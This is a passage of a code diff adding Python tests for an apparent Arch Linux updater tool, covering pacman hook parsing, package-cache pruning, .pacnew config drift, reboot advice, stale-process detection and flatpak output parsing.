+wrong means telling someone their kernel will not be rebuilt when it will, or
+the reverse. Parsed from the real files, never executed.
+"""
+
+from __future__ import annotations
+
+import sys
+import tempfile
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import hooks # noqa: E402
+
+SIMPLE = """\
+[Trigger]
+Operation = Upgrade
+Type = Package
+Target = linux
+
+[Action]
+Description = Updating linux initcpios...
+When = PostTransaction
+Exec = /usr/bin/mkinitcpio -P
+"""
+
+SNAP_PAC = """\
+[Trigger]
+Operation = Upgrade
+Operation = Install
+Operation = Remove
+Type = Package
+Target = *
+
+[Action]
+Description = Performing snapper pre snapshots for the following configurations...
+Depends = snap-pac
+When = PreTransaction
+Exec = /usr/share/libalpm/scripts/snap-pac pre
+NeedsTargets
+AbortOnFail
+"""
+
+PATH_TRIGGER = """\
+[Trigger]
+Type = Path
+Operation = Install
+Operation = Upgrade
+Target = usr/lib/systemd/system/*
+
+[Action]
+Description = Reloading system manager configuration...
+When = PostTransaction
+Exec = /usr/share/libalpm/scripts/systemd-hook daemon-reload
+"""
+
+MULTI_TRIGGER = """\
+[Trigger]
+Operation = Install
+Operation = Upgrade
+Target = glibc
+Type = Package
+
+[Trigger]
+Operation = Upgrade
+Target = etc/ld.so.conf
+Type = Path
+
+[Action]
+Description = Configuring dynamic linker run-time bindings...
+Exec = /usr/bin/ldconfig -r .
+When = PostTransaction
+"""
+
+
+def write(directory: Path, name: str, text: str) -> Path:
+ path = directory / name
+ path.write_text(text)
+ return path
+
+
+def parse_one(text: str):
+ with tempfile.TemporaryDirectory() as td:
+ path = write(Path(td), "x.hook", text)
+ return hooks._parse(path)
+
+
+# --------------------------------------------------------------------------
+# the things that were wrong
+# --------------------------------------------------------------------------
+
+
+def test_a_bare_flag_does_not_discard_the_whole_hook():
+ """`NeedsTargets` has no `=`, and a strict INI reader drops the file."""
+ hook = parse_one(SNAP_PAC)
+ assert hook is not None, "a hook with a bare flag was dropped entirely"
+ assert hook.needs_targets and hook.abort_on_fail
+ assert hook.exec_.endswith("snap-pac pre")
+
+
+def test_repeated_operation_keys_are_all_kept():
+ """Three `Operation =` lines, not the last one only."""
+ hook = parse_one(SNAP_PAC)
+ assert hook is not None
+ ops = set(hook.triggers[0].operations)
+ assert ops == {"Upgrade", "Install", "Remove"}, ops
+
+
+def test_a_hook_can_declare_several_triggers():
+ hook = parse_one(MULTI_TRIGGER)
+ assert hook is not None
+ assert len(hook.triggers) == 2, [t.kind for t in hook.triggers]
+ assert {t.kind for t in hook.triggers} == {"Package", "Path"}
+
+
+def test_a_wildcard_trigger_fires_for_any_package():
+ hook = parse_one(SNAP_PAC)
+ assert hook.triggers[0].matches_name("anything-at-all")
+
+
+def test_operations_actually_gate_the_trigger():
+ """A Remove-only trigger must not fire for an upgrade."""
+ hook = parse_one("""\
+[Trigger]
+Operation = Remove
+Type = Package
+Target = snap-pac
+
+[Action]
+Exec = /bin/true
+""")
+ trigger = hook.triggers[0]
+ assert trigger.matches_name("snap-pac", "Remove")
+ assert not trigger.matches_name("snap-pac", "Upgrade")
+
+
+def test_comments_and_blank_lines_are_ignored():
+ hook = parse_one("""\
+# a leading comment
+[Trigger]
+# inside
+Operation = Upgrade
+Type = Package
+Target = x
+
+[Action]
+# trailing
+Exec = /bin/true
+""")
+ assert hook is not None and hook.triggers[0].targets == ("x",)
+
+
+# --------------------------------------------------------------------------
+# matching
+# --------------------------------------------------------------------------
+
+
+def test_a_package_trigger_matches_globs():
+ hook = parse_one(SIMPLE)
+ assert hook.triggers[0].matches_name("linux")
+ assert not hook.triggers[0].matches_name("linux-headers")
+
+
+def test_a_path_trigger_matches_files_the_package_owns():
+ hook = parse_one(PATH_TRIGGER)
+ trigger = hook.triggers[0]
+ assert trigger.matches_path("/usr/lib/systemd/system/foo.service")
+ assert trigger.matches_path("usr/lib/systemd/system/foo.service")
+ assert not trigger.matches_path("/etc/other")
+
+
+def test_fires_for_consults_both_trigger_kinds():
+ hook = parse_one(MULTI_TRIGGER)
+ assert hook.fires_for({"glibc"}, {})
+ assert hook.fires_for({"unrelated"}, {"unrelated": ["etc/ld.so.conf"]})
+ assert not hook.fires_for({"unrelated"}, {"unrelated": ["etc/hosts"]})
+
+
+def test_snapshot_hooks_are_recognised():
+ assert parse_one(SNAP_PAC).is_snapshot
+ assert not parse_one(SIMPLE).is_snapshot
+
+
+def test_a_label_falls_back_to_the_command_then_the_filename():
+ with_desc = parse_one(SIMPLE)
+ assert with_desc.label == "Updating linux initcpios"
+ no_desc = parse_one("""\
+[Trigger]
+Operation = Upgrade
+Type = Package
+Target = x
+
+[Action]
+Exec = /usr/bin/foo --bar
+""")
+ assert no_desc.label == "foo"
+
+
+# --------------------------------------------------------------------------
+# loading a directory
+# --------------------------------------------------------------------------
+
+
+def test_a_hook_without_a_trigger_is_not_loaded():
+ assert parse_one("[Action]\nExec = /bin/true\n") is None
+
+
+def test_a_hook_without_an_action_is_not_loaded():
+ assert parse_one("[Trigger]\nType = Package\nTarget = x\n") is None
+
+
+def test_an_unreadable_file_is_skipped_not_fatal():
+ with tempfile.TemporaryDirectory() as td:
+ directory = Path(td)
+ write(directory, "good.hook", SIMPLE)
+ (directory / "broken.hook").write_bytes(b"\xff\xfe\x00 not utf-8")
+ loaded = hooks.load((directory,))
+ assert [h.path.name for h in loaded] == ["good.hook"]
+
+
+def test_a_later_directory_overrides_by_filename():
+ """That is what pacman does: /etc replaces the packaged hook."""
+ with tempfile.TemporaryDirectory() as a, tempfile.TemporaryDirectory() as b:
+ write(Path(a), "same.hook", SIMPLE)
+ write(Path(b), "same.hook", SIMPLE.replace("linux", "other"))
+ loaded = hooks.load((Path(a), Path(b)))
+ assert len(loaded) == 1, [h.path for h in loaded]
+ assert loaded[0].triggers[0].targets == ("other",)
+
+
+def test_scheduled_splits_before_and_after():
+ loaded = [parse_one(SNAP_PAC), parse_one(SIMPLE)]
+ before, after = hooks.scheduled(loaded, {"linux"}, {})
+ # both are called x.hook, so distinguish them by when they run
+ assert len(before) == 1 and before[0].when == "PreTransaction"
+ assert len(after) == 1 and after[0].when == "PostTransaction"
+
+
+def test_the_real_hooks_on_this_machine_load():
+ """A smoke test against whatever is actually installed."""
+ loaded = hooks.load()
+ if not loaded:
+ return # nothing installed; nothing to assert
+ for hook in loaded:
+ assert hook.triggers, hook.path
+ for trigger in hook.triggers:
+ assert trigger.kind in ("Package", "Path"), trigger.kind
+ assert trigger.targets
+
+
+def test_a_linux_upgrade_rebuilds_the_initramfs():
+ """The single most useful thing this can get right.
+
+ The mkinitcpio hook triggers on the *path* usr/lib/modules/*/vmlinuz, so it
+ only fires when the file list is supplied. Matching on package names alone
+ would miss it, which is exactly why the file lists are loaded.
+ """
+ loaded = hooks.load()
+ if not loaded:
+ return
+ paths = {
+ "linux": [
+ "usr/lib/modules/6.12.1-arch1-1/vmlinuz",
+ "usr/lib/modules/6.12.1-arch1-1/modules.dep",
+ ]
+ }
+ _, after = hooks.scheduled(loaded, {"linux"}, paths)
+ labels = " ".join(h.label.lower() for h in after)
+ assert "initcpio" in labels, f"no initramfs hook fired:\n{labels}"
+
+
+def test_path_triggers_are_not_matched_on_names_alone():
+ """Without file lists the initramfs hook must not be claimed."""
+ loaded = hooks.load()
+ if not loaded:
+ return
+ _, after = hooks.scheduled(loaded, {"linux"}, {})
+ labels = " ".join(h.label.lower() for h in after)
+ assert "initcpio" not in labels, labels
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_hygiene.py b/tests/test_hygiene.py
@@ -0,0 +1,641 @@
+"""Hygiene and flatpak tests.
+
+Both modules are built to degrade rather than fail: a missing tool, an
+unreadable directory or an unreachable remote is a reportable state, not an
+exception. Most of these tests are about that.
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+import tempfile
+import time
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import flatpak, hygiene # noqa: E402
+
+# --------------------------------------------------------------------------
+# cache parsing
+# --------------------------------------------------------------------------
+
+
+def test_cache_name_parsing_handles_dashes_in_package_names():
+ assert hygiene.parse_cache_name("linux-6.16.7.arch1-1-x86_64.pkg.tar.zst") == (
+ "linux",
+ "6.16.7.arch1-1",
+ )
+ assert hygiene.parse_cache_name(
+ "python-opentelemetry-instrumentation-requests-1.0.0-1-any.pkg.tar.zst"
+ ) == ("python-opentelemetry-instrumentation-requests", "1.0.0-1")
+ assert hygiene.parse_cache_name("foo-1.0-1-x86_64.pkg.tar.xz") == ("foo", "1.0-1")
+
+
+def test_cache_name_parsing_rejects_things_that_are_not_packages():
+ assert hygiene.parse_cache_name("README") is None
+ assert hygiene.parse_cache_name("random-file.txt") is None
+ assert hygiene.parse_cache_name("only-two-1.pkg.tar.zst") is None
+
+
+def _cache_fixture(tmp: Path, spec: dict[str, list[str]]) -> None:
+ for name, versions in spec.items():
+ for index, version in enumerate(versions):
+ path = tmp / f"{name}-{version}-x86_64.pkg.tar.zst"
+ path.write_bytes(b"x" * 100)
+ # newest last, so mtime ordering is unambiguous
+ stamp = time.time() - (len(versions) - index) * 3600
+ os.utime(path, (stamp, stamp))
+
+
+def test_cache_keeps_the_newest_versions_and_reports_the_rest():
+ with tempfile.TemporaryDirectory() as td:
+ cache = Path(td)
+ _cache_fixture(cache, {"linux": ["6.16.1-1", "6.16.2-1", "6.16.3-1", "6.16.4-1"]})
+ usage = hygiene.cache_usage(cache, keep=2)
+ assert usage.files == 4
+ assert usage.reclaimable_files == 2, usage
+ assert usage.reclaimable == 200
+ assert usage.total == 400
+
+
+def test_cache_always_keeps_the_installed_version_even_if_it_is_old():
+ """Downgrading is legitimate, so the installed file must survive a prune."""
+ with tempfile.TemporaryDirectory() as td:
+ cache = Path(td)
+ _cache_fixture(cache, {"linux": ["6.16.1-1", "6.16.2-1", "6.16.3-1"]})
+ usage = hygiene.cache_usage(cache, keep=1, installed={"linux": "6.16.1-1"})
+ # newest (6.16.3) plus the installed (6.16.1) are both kept
+ assert usage.reclaimable_files == 1
+ assert usage.reclaimable == 100
+
+
+def test_cache_usage_on_a_missing_directory_is_silent():
+ usage = hygiene.cache_usage(Path("/definitely/not/here"))
+ assert usage.total == 0 and not usage.has_reclaimable
+
+
+def test_empty_cache_reports_nothing_reclaimable():
+ with tempfile.TemporaryDirectory() as td:
+ usage = hygiene.cache_usage(Path(td))
+ assert usage.files == 0 and not usage.has_reclaimable
+
+
+# --------------------------------------------------------------------------
+# config drift
+# --------------------------------------------------------------------------
+
+
+def test_config_drift_finds_each_suffix():
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ (root / "sub").mkdir()
+ (root / "pacman.conf.pacnew").write_text("new")
+ (root / "sub" / "mkinitcpio.conf.pacnew").write_text("new")
+ (root / "old.conf.pacsave").write_text("old")
+ (root / "orig.conf.pacorig").write_text("orig")
+ (root / "normal.conf").write_text("fine")
+
+ drift = hygiene.config_drift(root)
+ assert len(drift.pacnew) == 2
+ assert len(drift.pacsave) == 1
+ assert len(drift.pacorig) == 1
+ assert drift.total == 4
+ # only .pacnew needs merging; the others are informational
+ assert set(drift.actionable) == set(drift.pacnew)
+ assert all(p.name.endswith(".pacnew") for p in drift.actionable)
+
+
+def test_config_drift_on_a_missing_root_is_silent():
+ assert hygiene.config_drift(Path("/definitely/not/here")).total == 0
+
+
+def test_config_drift_respects_the_depth_limit():
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ deep = root
+ for i in range(8):
+ deep = deep / f"d{i}"
+ deep.mkdir(parents=True)
+ (deep / "buried.conf.pacnew").write_text("x")
+ assert hygiene.config_drift(root, max_depth=3).total == 0
+ assert hygiene.config_drift(root, max_depth=10).total == 1
+
+
+# --------------------------------------------------------------------------
+# reboot reasoning
+# --------------------------------------------------------------------------
+
+
+def test_reboot_is_advised_when_the_running_kernel_vanished():
+ with tempfile.TemporaryDirectory() as td:
+ modules = Path(td)
+ (modules / "6.16.9-arch1-1").mkdir()
+ reason = hygiene.reboot_reason(modules=modules)
+ if hygiene.running_kernel() != "6.16.9-arch1-1":
+ assert reason and "no longer installed" in reason
+ else:
+ assert reason is None
+
+
+def test_reboot_is_not_advised_when_the_running_kernel_is_present():
+ with tempfile.TemporaryDirectory() as td:
+ modules = Path(td)
+ (modules / hygiene.running_kernel()).mkdir()
+ assert hygiene.reboot_reason(modules=modules) is None
+
+
+def test_updated_kernel_packages_trigger_a_reboot_recommendation():
+ with tempfile.TemporaryDirectory() as td:
+ modules = Path(td)
+ (modules / hygiene.running_kernel()).mkdir()
+ assert hygiene.reboot_reason({"vim", "python"}, modules=modules) is None
+ reason = hygiene.reboot_reason({"linux", "vim"}, modules=modules)
+ assert reason and "linux" in reason
+ assert hygiene.reboot_reason({"nvidia-utils"}, modules=modules)
+
+
+def test_missing_module_tree_does_not_produce_a_false_reboot():
+ """On a machine without /usr/lib/modules we cannot tell, so say nothing."""
+ assert hygiene.reboot_reason(modules=Path("/definitely/not/here")) is None
+
+
+# --------------------------------------------------------------------------
+# stale processes
+# --------------------------------------------------------------------------
+
+
+def test_stale_process_detection_runs_without_privileges():
+ stale = hygiene.stale_processes()
+ assert isinstance(stale, list)
+ for entry in stale:
+ assert entry.pid > 0
+ assert entry.path.startswith("/")
+ assert entry.name
+
+
+def test_stale_process_scan_is_bounded():
+ started = time.monotonic()
+ hygiene.stale_processes(limit=5)
+ assert time.monotonic() - started < 5.0
+
+
+# --------------------------------------------------------------------------
+# flatpak
+# --------------------------------------------------------------------------
+
+
+def test_flatpak_parsing_handles_the_columns_format():
+ text = (
+ "org.gnome.Calculator\tstable\tflathub\t46.0\n"
+ "org.mozilla.firefox\tstable\tflathub\t128.0\n"
+ "\n"
+ )
+ refs = flatpak._parse(text, kind="app")
+ assert len(refs) == 2
+ assert refs[0].application == "org.gnome.Calculator"
+ assert refs[0].version == "46.0"
+ assert refs[0].origin == "flathub"
+ assert refs[0].label == "org.gnome.Calculator 46.0"
+
+
+def test_flatpak_parsing_survives_missing_columns():
+ """Older flatpak builds may return fewer columns than requested."""
+ refs = flatpak._parse("org.example.App\tstable\n", kind="app")
+ assert len(refs) == 1
+ assert refs[0].branch == "stable"
+ assert refs[0].version == ""
+
+
+def test_flatpak_parsing_ignores_blank_and_headerless_lines():
+ assert flatpak._parse("\n \n", kind="app") == []
+
+
+def test_flatpak_failure_is_detected_despite_a_zero_exit_code():
+ """flatpak prints `error:` on stderr and may still exit 0."""
+ assert flatpak._looks_failed(0, "") == ""
+ assert "error" in flatpak._looks_failed(0, "error: Unable to load summary").lower()
+ assert flatpak._looks_failed(1, "") != ""
+ assert flatpak._looks_failed(1, "boom") == "boom"
+
+
+def test_flatpak_refs_are_deduped_and_ordered():
+ refs = [
+ flatpak.FlatpakRef("b.App", kind="app"),
+ flatpak.FlatpakRef("a.App", kind="app"),
+ flatpak.FlatpakRef("b.App", kind="app"),
+ flatpak.FlatpakRef("runtime.Runtime", kind="runtime"),
+ ]
+ got = flatpak._dedupe(refs)
+ assert [r.application for r in got] == ["a.App", "b.App", "runtime.Runtime"]
+
+
+def test_flatpak_collect_never_raises_even_when_broken():
+ """Absent, offline or cache-locked flatpak is a reportable state."""
+ state = flatpak.collect()
+ assert isinstance(state, flatpak.FlatpakState)
+ assert isinstance(state.available, bool)
+ if not state.available:
+ assert state.reason, "an unavailable flatpak must explain itself"
+
+
+def test_flatpak_short_reason_is_usable_in_a_one_line_row():
+ state = flatpak.FlatpakState(
+ reason="error: Unable to load summary from remote flathub: "
+ 'Error opening file "/home/x/.cache/flatpak/summaries/flathub.idx": '
+ "Read-only file system"
+ )
+ short = state.short_reason
+ assert short == "remote flathub unreachable", short
+ assert len(short) <= 48
+ assert "/home" not in short
+
+
+def test_flatpak_short_reason_handles_other_failures():
+ assert (
+ flatpak.FlatpakState(reason="flatpak is not installed").short_reason
+ == "flatpak is not installed"
+ )
+ readonly = flatpak.FlatpakState(reason="Error opening file: Read-only file system")
+ assert "read-only" in readonly.short_reason
+ assert flatpak.FlatpakState(reason="").short_reason == ""
+
+
+def test_flatpak_update_command_is_noninteractive():
+ argv = flatpak.update_command()
+ assert argv[:2] == ["flatpak", "update"]
+ assert "-y" in argv and "--noninteractive" in argv
+
+
+# --------------------------------------------------------------------------
+# the aggregate
+# --------------------------------------------------------------------------
+
+
+def test_hygiene_collect_gathers_everything_without_raising():
+ report = hygiene.collect(include_processes=False)
+ assert isinstance(report.cache, hygiene.CacheUsage)
+ assert isinstance(report.drift, hygiene.Drift)
+ assert isinstance(report.orphans, list)
+ assert report.stale == []
+
+
+def test_hygiene_collect_can_be_pointed_at_fixture_directories():
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ cache, etc = root / "cache", root / "etc"
+ cache.mkdir()
+ etc.mkdir()
+ _cache_fixture(cache, {"foo": ["1-1", "2-1", "3-1", "4-1"]})
+ (etc / "x.conf.pacnew").write_text("x")
+
+ # no `installed` mapping here: pinning the oldest version as installed
+ # would legitimately keep every file, which is not what this test is about
+ report = hygiene.collect(
+ cache_dir=cache, etc=etc, orphans=["orphan"], include_processes=False
+ )
+ assert report.cache.reclaimable_files == 1, report.cache
+ assert len(report.drift.pacnew) == 1
+ assert report.orphans == ["orphan"]
+ assert report.has_anything
+
+
+def test_an_empty_hygiene_report_says_it_has_nothing():
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ cache, etc = root / "cache", root / "etc"
+ modules = root / "modules"
+ for d in (cache, etc, modules):
+ d.mkdir()
+ # an empty machine, including its module tree: the running kernel
+ # check reads the real one otherwise, and a host that has just
+ # installed a kernel reports a pending reboot no matter what the
+ # caller passed for the other paths.
+ report = hygiene.collect(cache_dir=cache, etc=etc, modules=modules, include_processes=False)
+ assert not report.has_anything, report.reboot
+
+
+def test_hygiene_checks_offer_a_command_to_run():
+ """A check that says "run paccache" should be able to run it."""
+ from updater import cli
+ from updater.render import review
+
+ row = review.CheckRow(False, "cache", "948 MiB reclaimable", action=["paccache", "-rk3"])
+ assert row.action[0] == "paccache"
+ # the default is no action, so nothing runs by accident
+ assert review.CheckRow(True, "pacnew", "clean").action == []
+ assert cli is not None
+
+
+def test_a_destructive_action_carries_a_warning():
+ """Removing orphans is the one hygiene action that can break a system."""
+ from updater.render import review
+
+ row = review.CheckRow(False, "orphans", "12 packages", warning="removes packages")
+ assert row.warning
+
+
+def test_leftovers_explain_includes_the_command_that_clears_them():
+ import tempfile
+
+ directory = Path(tempfile.mkdtemp())
+ for i in range(12):
+ (directory / f"download-{i}").write_bytes(b"")
+ got = hygiene.incomplete_downloads(directory)
+ text = "\n".join(got.explain(directory))
+ assert "find" in text and "-delete" in text, text
+ assert "zero bytes" in text, "the empty-file clue is the useful part"
+
+
+def test_leftovers_do_not_claim_a_write_failure_when_data_is_present():
+ """Partial data means the transfer failed, which is a different story."""
+ import tempfile
+
+ directory = Path(tempfile.mkdtemp())
+ for i in range(12):
+ (directory / f"download-{i}").write_bytes(b"x" * 10)
+ got = hygiene.incomplete_downloads(directory)
+ assert got.bytes > 0
+ assert not got.all_empty
+ assert "zero bytes" not in "\n".join(got.explain(directory))
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+# --------------------------------------------------------------------------
+# abandoned downloads
+# --------------------------------------------------------------------------
+
+
+def test_incomplete_downloads_counts_scratch_files():
+ import tempfile as tf
+
+ with tf.TemporaryDirectory() as td:
+ d = Path(td)
+ for i in range(4):
+ (d / f"download-abc{i}").write_bytes(b"")
+ (d / "download-big").write_bytes(b"x" * 100)
+ # a real package and a signature must not be counted
+ (d / "linux-6.16-1-x86_64.pkg.tar.zst").write_bytes(b"x" * 10)
+ (d / "linux-6.16-1-x86_64.pkg.tar.zst.sig").write_bytes(b"x" * 10)
+
+ got = hygiene.incomplete_downloads(d)
+ assert got.count == 5, got
+ assert got.bytes == 100, got
+
+
+def test_a_missing_cache_directory_is_not_an_error():
+ got = hygiene.incomplete_downloads(Path("/definitely/not/here"))
+ assert got.count == 0 and got.bytes == 0
+
+
+def test_a_handful_of_failures_is_not_worth_mentioning():
+ """Occasional failed downloads are normal; a pile of them is a symptom."""
+ assert not hygiene.Leftovers(count=1).worth_mentioning
+ assert not hygiene.Leftovers(count=9).worth_mentioning
+ assert hygiene.Leftovers(count=10).worth_mentioning
+ assert hygiene.Leftovers(count=445).worth_mentioning
+
+
+def test_the_oldest_leftover_is_tracked():
+ import os as osmod
+ import tempfile as tf
+ import time as timemod
+
+ with tf.TemporaryDirectory() as td:
+ d = Path(td)
+ old = d / "download-old"
+ new = d / "download-new"
+ old.write_bytes(b"")
+ new.write_bytes(b"")
+ past = timemod.time() - 86400 * 30
+ osmod.utime(old, (past, past))
+
+ got = hygiene.incomplete_downloads(d)
+ assert got.count == 2
+ assert abs(got.oldest - past) < 5, got.oldest
+
+
+def test_the_real_cache_is_reported_without_raising():
+ """Runs against whatever is actually on this machine."""
+ got = hygiene.incomplete_downloads()
+ assert got.count >= 0 and got.bytes >= 0
+ if got.count:
+ assert got.oldest > 0, "a counted leftover must carry an mtime"
+
+
+def test_leftovers_reach_the_hygiene_report():
+ report = hygiene.collect(include_processes=False)
+ assert isinstance(report.leftovers, hygiene.Leftovers)
+ if report.leftovers.worth_mentioning:
+ assert report.has_anything, "a notable leftover must make the report non-empty"
+
+
+# --------------------------------------------------------------------------
+# processes running a replaced binary
+# --------------------------------------------------------------------------
+
+
+def _listed(pid: int) -> bool:
+ return pid in {s.pid for s in hygiene.stale_processes()}
+
+
+def test_a_process_running_a_replaced_binary_is_reported():
+ """The case the check exists for, and the one it used to skip.
+
+ Replacing a package's files unlinks the old ones, so the kernel marks
+ `/proc/<pid>/exe` with ` (deleted)`. The check discarded exactly those, so
+ it reported almost nothing.
+ """
+ import shutil
+ import subprocess
+ import tempfile
+
+ directory = Path(tempfile.mkdtemp())
+ binary = directory / "sleeper"
+ shutil.copy("/usr/bin/sleep", binary)
+ proc = subprocess.Popen([str(binary), "30"])
+ try:
+ import time as timemod
+
+ timemod.sleep(0.3)
+ assert not _listed(proc.pid), "a fresh process should not be stale"
+
+ os.remove(binary)
+ shutil.copy("/usr/bin/sleep", binary) # a new inode at the same path
+ timemod.sleep(0.2)
+
+ hits = [s for s in hygiene.stale_processes() if s.pid == proc.pid]
+ assert hits, "a replaced binary was not reported as stale"
+ assert " (deleted)" not in hits[0].path, hits[0].path
+ assert hits[0].path == str(binary)
+ finally:
+ proc.kill()
+ proc.wait()
+ shutil.rmtree(directory, ignore_errors=True)
+
+
+def test_a_process_whose_binary_was_deleted_is_reported():
+ import shutil
+ import subprocess
+ import tempfile
+ import time as timemod
+
+ directory = Path(tempfile.mkdtemp())
+ binary = directory / "sleeper"
+ shutil.copy("/usr/bin/sleep", binary)
+ proc = subprocess.Popen([str(binary), "30"])
+ try:
+ timemod.sleep(0.3)
+ os.remove(binary)
+ timemod.sleep(0.2)
+ assert _listed(proc.pid), "a deleted binary is the clearest staleness"
+ finally:
+ proc.kill()
+ proc.wait()
+ shutil.rmtree(directory, ignore_errors=True)
+
+
+def test_a_current_process_is_not_reported():
+ import subprocess
+ import time as timemod
+
+ proc = subprocess.Popen(["sleep", "30"])
+ try:
+ timemod.sleep(0.3)
+ assert not _listed(proc.pid)
+ finally:
+ proc.kill()
+ proc.wait()
+
+
+def test_stale_processes_needs_no_privileges_and_does_not_raise():
+ got = hygiene.stale_processes()
+ assert isinstance(got, list)
+ for entry in got:
+ assert entry.pid > 0
+ assert entry.path.startswith("/"), entry.path
+ assert entry.name, "a reported process must have a name"
+
+
+def test_a_tiny_limit_is_respected():
+ """The scan is bounded so a machine with thousands of processes stays quick."""
+ import time as timemod
+
+ started = timemod.monotonic()
+ hygiene.stale_processes(limit=1)
+ assert timemod.monotonic() - started < 5
+
+
+# --------------------------------------------------------------------------
+# configuration drift
+# --------------------------------------------------------------------------
+
+
+def test_config_drift_finds_every_suffix_and_nothing_else():
+ import tempfile
+
+ base = Path(tempfile.mkdtemp())
+ etc = base / "etc"
+ etc.mkdir()
+ (etc / "pacman.conf.pacnew").write_text("x")
+ (etc / "pacman.conf.pacsave").write_text("x")
+ (etc / "hosts.pacorig").write_text("x")
+ (etc / "sub").mkdir()
+ (etc / "sub" / "nested.conf.pacnew").write_text("x")
+ # things that must be ignored
+ (etc / "notapacnew").write_text("x")
+ (etc / "weird.pacnew.bak").write_text("x")
+ (etc / ".git").mkdir()
+ (etc / ".git" / "x.pacnew").write_text("x")
+ (etc / "node_modules").mkdir()
+ (etc / "node_modules" / "y.pacnew").write_text("x")
+
+ got = hygiene.config_drift(etc)
+ names = lambda bucket: sorted(p.name for p in bucket) # noqa: E731
+ assert names(got.pacnew) == ["nested.conf.pacnew", "pacman.conf.pacnew"], names(got.pacnew)
+ assert names(got.pacsave) == ["pacman.conf.pacsave"]
+ assert names(got.pacorig) == ["hosts.pacorig"]
+
+
+def test_config_drift_respects_max_depth():
+ import tempfile
+
+ base = Path(tempfile.mkdtemp())
+ etc = base / "etc"
+ etc.mkdir()
+ deep = etc
+ for i in range(9):
+ deep = deep / f"l{i}"
+ deep.mkdir()
+ (deep / "too-deep.conf.pacnew").write_text("x")
+ assert not hygiene.config_drift(etc).pacnew
+
+
+def test_config_drift_of_a_missing_directory_is_empty():
+ got = hygiene.config_drift(Path("/definitely/not/here"))
+ assert got.pacnew == [] and got.pacsave == [] and got.pacorig == []
+
+
+def test_config_drift_on_the_real_etc_matches_a_plain_scan():
+ """Whatever is actually there, the report must agree with the filesystem."""
+ got = sorted(str(p) for p in hygiene.config_drift().pacnew)
+ raw = sorted(str(p) for p in Path("/etc").rglob("*.pacnew"))
+ assert got == raw
+
+
+# --------------------------------------------------------------------------
+# reboot advice
+# --------------------------------------------------------------------------
+
+
+def test_no_reboot_is_advised_when_the_running_kernel_is_installed():
+ """A false "reboot now" is worse than none: it teaches people to ignore it."""
+ import tempfile
+
+ modules = Path(tempfile.mkdtemp())
+ (modules / hygiene.running_kernel()).mkdir()
+ assert hygiene.reboot_reason(modules=modules) is None
+
+
+def test_a_reboot_is_advised_when_the_running_kernel_is_gone():
+ import tempfile
+
+ modules = Path(tempfile.mkdtemp())
+ (modules / "9.9.9-other").mkdir()
+ reason = hygiene.reboot_reason(modules=modules)
+ assert reason and hygiene.running_kernel() in reason, reason
+
+
+def test_an_updated_kernel_package_triggers_the_advice_without_module_info():
+ """The module tree is authoritative, but an empty one must not silence it."""
+ import tempfile
+
+ empty = Path(tempfile.mkdtemp())
+ reason = hygiene.reboot_reason({"linux"}, modules=empty)
+ assert reason and "linux" in reason, reason
+
+
+def test_an_unrelated_update_does_not_trigger_a_reboot():
+ import tempfile
+
+ empty = Path(tempfile.mkdtemp())
+ assert hygiene.reboot_reason({"vim", "htop"}, modules=empty) is None
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_live.py b/tests/test_live.py
@@ -0,0 +1,705 @@
+"""Driver tests.
+
+The valuable ones run a real child process and observe it through /proc, exactly
+as the tool does in production. Nothing here needs a terminal or a network.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import io
+import os
+import signal
+import stat
+import subprocess
+import sys
+import tempfile
+import time
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from rich.console import Console # noqa: E402
+
+from updater import icons, live # noqa: E402
+from updater.buildgraph import build_graph # noqa: E402
+from updater.live import BuildObserver, LiveRunner # noqa: E402
+from updater.render.build import FeedEntry # noqa: E402
+from updater.srcinfo import SrcInfo # noqa: E402
+from updater.theme import Theme # noqa: E402
+
+THEME = Theme.default()
+GLYPHS = icons.glyphs("unicode")
+
+
+def info(name: str, *deps: str) -> SrcInfo:
+ return SrcInfo(pkgbase=name, pkgver="1", pkgrel="1", depends=list(deps))
+
+
+def fake_tool(bindir: Path, name: str, body: str) -> Path:
+ path = bindir / name
+ path.write_text(f"#!/bin/bash\n{body}\n")
+ path.chmod(path.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
+ return path
+
+
+# --------------------------------------------------------------------------
+# parallelism: the bug this exists to prevent
+# --------------------------------------------------------------------------
+
+
+def test_pacman_output_with_accents_does_not_re_read_lines():
+ """`cut` indexed decoded characters while `len(chunk)` counted bytes.
+
+ With any multi-byte output in the same chunk the offset landed behind the
+ newline, so the next poll re-read consumed content and emitted a
+ fabricated line into the feed.
+ """
+ import tempfile
+ from pathlib import Path as P
+
+ log = P(tempfile.mkdtemp()) / "x.log"
+ log.write_bytes(":: Über Paket — läuft\n firefox-1.2-1 downloading...\n".encode() + b"part")
+ obs = live.RepoObserver.__new__(live.RepoObserver)
+ obs.log_path, obs._offset = log, 0
+ assert obs._new_lines() == [":: Über Paket — läuft", " firefox-1.2-1 downloading..."]
+ with open(log, "ab") as fh:
+ fh.write(b"ial\n")
+ # the leftover half-line, whole -- not a re-read of what came before
+ assert obs._new_lines() == ["partial"]
+
+
